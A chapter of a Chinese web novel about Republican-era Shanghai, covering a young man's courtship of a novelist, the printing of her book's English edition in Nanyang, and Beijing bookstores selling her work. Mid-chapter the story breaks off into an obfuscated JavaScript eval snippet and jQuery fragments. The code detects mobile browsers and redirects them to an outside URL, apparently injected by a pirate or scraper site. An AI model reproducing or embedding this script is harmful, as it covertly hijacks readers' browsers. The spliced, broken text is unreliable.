第119章 英文版准备印刷

作品:《墨染民国

    谭大盛听到谭峥泓的话有些吃惊:“你什么意思?”


    谭峥泓很高兴:“爹,我成为桑小姐的男朋友了!桑小姐说,我们现在是以结婚为目的在交往,也就是说,将来我们会结婚!”


    谭大盛听完有些无奈。


    他儿子和桑景云相处,主动权全在桑景云,他儿子竟然还很乐呵。


    算了,若非他儿子是这样的人,不一定能讨桑景云的欢心。


    如果桑景云是个普通小姑娘,自己儿子这么上赶着,谭大盛说不定会有意见,但桑景云是云景。


    桑景云还不到二十岁!


    他们这些做生意的,纵然现在有钱,遇上点什么事情,得罪个人,可能就一切成空,什么都没有了。


    这也是他一心钻营,想要个官职的原因。


    但桑景云不一样,桑景云写的书,会一直在那里。


    百年后,应该没人记得谭家,但肯定有很多人知道“云景”。


    云景要是个男的,他贴钱都愿意把女儿嫁给对方,云景是个女的,他更是愿意让儿子把云景娶回家。


    “你小子运气不错。”谭大盛开口。


    桑景云是个运气好的,他这个儿子也一样。


    要是他儿子运气不好,又哪能认识云景?


    “那是!”谭峥泓激动地点头。


    云景先生都喜欢他呢!他现在自信心膨胀。


    谭大盛笑眯眯地看着儿子,又摸出一张庄票:“给你一百块钱,你拿去给你的桑小姐买礼物。”


    谭峥泓挥挥手道:“爹,不用了,桑小姐刚还了我五千银元,我不缺钱!”


    这段时间,《无名诀》再版的版税和《真假千金》出版的版税,都已经给到桑景云手上。


    之前《无名诀》只出了两万册,这次再版又是两万册,再加上《真假千金》出了四万册……桑景云拿的版税,已经够还谭峥泓。


    昨日,桑景云就把钱还了。


    谭大盛听完目瞪口呆:“你竟然还让人家还钱?你怎么想的?”


    谭峥泓道:“我也不想,但桑小姐要还。”


    桑小姐一定要还,他不敢不收。


    “算了算了,随你吧。”谭大盛挥挥手,让谭峥泓离开。


    谭峥泓却不想走,他在谭大盛面前坐下,对谭大盛道:“爹,你知道吗?桑小姐今天又夸我英俊!”


    他兴冲冲地炫耀起来。


    谭大盛在心里“呵”了一声。


    他夫人的嘴,那才叫甜。


    过些日子,他夫人就要来上海了,到时他也要在儿子面前炫耀。


    谭大盛之前没把自己的妻子带来上海,是怕不安全。


    但现在,他已经在这里住了一段时间,确定这


    里是安全的,他的工厂也已经开起来,那让他的妻子过来,也就没什么问题。


    谭峥泓把自己想说的话一股脑儿说出来,等说完,就道:“爹,我还有事,先走了。


    说完,他转身就跑上楼。


    上楼后,谭峥泓拿出《真假千金》的翻译稿,继续看起来。


    今天下午他一直走神,耽误了工作,不如就晚上加班,把稿件给过一遍!


    他想快点整理好英文版稿件,快点出英文版的书。


    谭峥泓认真校对稿件,校对了一段时间之后,莫名想起桑景云,就开心地在房间里转悠。


    转悠几圈,意识到自己还有工作,再回来继续工作……


    这个晚上,他太过兴奋,压根睡不着,也就一晚上没睡,将《真假千金》英文版的稿件全部校对了一遍。


    这稿件已经没有问题,明天让桑小姐看一看,然后就可以送去南洋出版了!


    等等,不是明天,应该是今天。


    这会儿都凌晨四点多了!


    谭峥泓下楼,看到家里的厨娘已经起来,正慢悠悠在厨房忙碌,就道:“张妈,麻烦你给我烧点水,我要洗个澡!


    大早上的,谭峥泓洗了个澡,然后给自己梳了个三七分,带着张妈做的糯米团子去桑家。


    这糯米团子的馅料有两种,一种是肉馅的,一种是豆沙馅的。


    谭峥泓将之交给桑钱氏,就道:“奶奶,我家厨娘听说你们这里过清明会做糯米团子,就学着做了做。你尝尝看,看味道对不对。


    常年做饭的人,就算换了个食物做,也能做得很好吃。


    谭峥泓带来的糯米团子味道非常好,桑景云每种口味都吃了一个,又喝了点粥,就已经很饱。


    吃饱喝足,她带着谭峥泓回房间。


    谭峥泓道:“桑小姐,《真假千金》的英文版我已经全部校对好,你看一看,若是没有问题,我就让人去印刷。


    “全都校对好了?你昨晚上几点睡的?


    谭峥泓没说话,他总不能说自己昨晚上没睡。


    桑景云本就有一些英文底子,又认真学了三个多月,要将英文版的《真假千金》看一遍,也不是不行。


    但她不是很想看自己写的书,而且她看英文很慢,还需要谭峥泓讲解,会拖延这本书的出书时间。


    简单翻了翻,挑了一些内容看,觉得没有问题,桑景云就道:“我觉得这书没有问题,你拿去印刷吧。


    谭峥泓道:“那我马上就安排人去印刷!


    一开始,诺伯特是想将书拿去英国印刷的。


    但现在英国那边缺少劳动力,物价也飞涨,在英国印刷书籍不划算。


    最后,诺伯特跟谭峥泓商量好


    ,让谭峥泓在南洋那边找人印刷,印刷好之后,再送去英国出售。


    谭峥泓答应下来。


    英文版的《真假千金》,谭峥泓打算一次印刷五万本,两万本给诺伯特,剩下的三万本,则放在南洋各国出售。


    他虽然联系到了出版社,但因为出版社对这本书不是很信任,因此印书的钱,要他承担,当然,书籍出售后的收益,也归他所有。


    前段时间,谭峥泓就已经跟南洋那边的出版社商量好出书相关事宜,现在,他让人将稿件送过去,出版社直接就可以开始印刷。


    其实谭峥泓想过要在上海印刷,但上海这边出版社,印刷英文传单之类的还行,手写后用印连环画的方法去印就行,但想要印刷英文书籍,就比较困难了。


    唯一一家能承印英文书籍的出版社,开价还非常贵。


    还是送去南洋印刷更方便。


    谭峥泓依依不舍地跟桑景云告别,离开桑家忙碌起来。


    而他这一忙,就忙了一整天,晚上倒头就睡。


    谭峥泓忙着出《真假千金》英文版的时候,《真假千金》这本书,终于被送到上海以外的,很多大


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15530087|163125||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    城市。


    一道被送去的,还有加印的《无名诀》。


    北京,某书店老板从书商那里知道加印的《无名诀》已经到货,很是高兴,连忙订了一百套,得知这个作者的新书《真假千金》也到了,就狠狠心,订了两百套。


    据说上海的报纸,在连载《真假千金》的时候,销量比连载《无名诀》的时候还要高,这本书一定不愁卖!


    中午,三百套书一起被送到书店老板手上。


    书店老板让店里的伙计去搬书,自己则拿了一套《真假千金》翻看。


    这一翻,老板惊喜万分。


    这套书的印刷质量,瞧着比《无名诀》还要好,封面上的女子,更是画得非常漂亮。


    说不定,有些人冲着这封面,就会将书给买了!


    至于里面的内容……


    书店老板并不是一个爱看书的人,但翻开这书,上来就是千金小姐被人调换……


    绝大多数人,看到八卦内容都会想要看下去,书店老板也不例外。


    他下意识就看下去,这一看,就停不下来了。


    “老板,你在看什么?一个常客来书店,瞧见老板在专心看书,好奇地询问。


    书店老板道:“我在看从上海送来的新书!这是云景先生最新力作,已经确定要在英国出版!


    那人平日里不怎么看小说,之前并未看过《无名诀》,问道:“云景先生是谁?这书竟然能在英国出版,我想一定是本好书,拿来给我看看。


    书店老板拿了一本给他,这人翻开,只


    看了没几页,就看到了孩子被调换的情节。


    他迫切地想知道后续,但等下还有事情要做……


    这是一部能在英国出版的书,肯定不会差!


    这人掏出一元钱,就买了一套《真假千金》,带着书离开。


    而店老板这时,终于舍得放下书。


    他拿了一张纸,将自己之前用来推销《真假千金》的话术写上去,又补了一句:“《无名诀》已到,欲购从速!”


    让店里的伙计将招牌立到门口,店老板就继续看书。


    这《真假千金》实在太有意思,他看得停不下来。


    北京,很多店铺都做了一样的事情。


    而其他一些城市,也有书店在整理刚到货的云景的书。


    之前,《无名诀》总共就出了两万套,其中还有半数是在上海或者上海周边出售的,其他城市分到的也就不多。


    一些小城市,甚至压根就没有铺货。


    但这次不同。


    《无名诀》加印后,只有数千本书被留在上海以及上海周边出售,其他的都被送去别处,于是,一些小城市的书店,便也分到一些。


    上海来的小说,想来是好看受欢迎的,但一个银元一套,这价格实在太贵。


    怕是很多人舍不得买书,会选择在店里站着看。


    书店老板虽然这么想,但还是将书放在书架上。


    他们书店不只卖书,还卖文具对联之类,那些人来蹭书看,看了之后觉得不好意思,说不定就会买点别的东西带走。


    他就当是用这书来招揽生意。


    这么想着,书店老板又将一册册的《西游记》连环画放到书架上。


    这连环画很有意思,怕是比那故事书更受欢迎!